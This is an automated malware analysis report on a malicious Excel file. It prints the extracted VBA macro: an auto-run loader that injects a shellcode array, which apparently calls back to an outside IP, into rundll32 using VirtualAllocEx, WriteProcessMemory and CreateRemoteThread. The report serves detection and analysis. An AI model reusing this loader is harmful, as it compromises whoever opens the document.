Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 73ae9b2f93c1a0f8…

MALICIOUS

Office (OOXML)

12.4 KB Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-24
MD5: 9d1bf8b2448eae447aeb73b68864f749 SHA-1: deac732466e6d48a851055978911df7c18ee8734 SHA-256: 73ae9b2f93c1a0f8f3423f1867ed1f8dc16a24e82c9fc9ae70979abc3155a962
112 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218 System Binary Proxy Execution

The sample is an Office document containing VBA macros, including AutoOpen, Workbook_Open, and Auto_Open, indicating an attempt to automatically execute code upon opening. The VBA code references LOLBins and uses Windows API calls like CreateRemoteThread, VirtualAllocEx, and WriteProcessMemory, suggesting it aims to inject and execute a secondary payload. No specific family could be identified, but the technique is common for initial compromise.

Heuristics 6

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    -123,-64,116,-58,-117,7,1,-61,-123,-64,117,-27,88,-61,-24,-87,-3,-1,-1,53,49,46,56,51,46,49,50,56,46,53,52,0,25,105,-96,-115)
    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7403 bytes
SHA-256: 692c78f15f87fc1476dd10acb0c6b406caabf01f0b3952f9c6c58f383d16b54e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
    Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
    Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
    Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
    Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
    Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim sProc As String

#If VBA7 Then
    Dim rwxpage As LongPtr, res As LongPtr
#Else
    Dim rwxpage As Long, res As Long
#End If
    myArray = Array(-4,-24,-119,0,0,0,96,-119,-27,49,-46,100,-117,82,48,-117,82,12,-117,82,20,-117,114,40,15,-73,74,38,49,-1,49,-64,-84,60,97,124,2,44,32,-63,-49, _
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    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else
        sProc = Environ("windir") & "\\System32\\rundll32.exe"
    End If

    res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)

    rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
    For offset = LBound(myArray) To UBound(myArray)
        myByte = myArray(offset)
        res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
    Next offset
    res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 7168 bytes
SHA-256: 86d5b3eb477ed583c00063d0225d9c29d54873be085f3a40d2887fac417cb7cd

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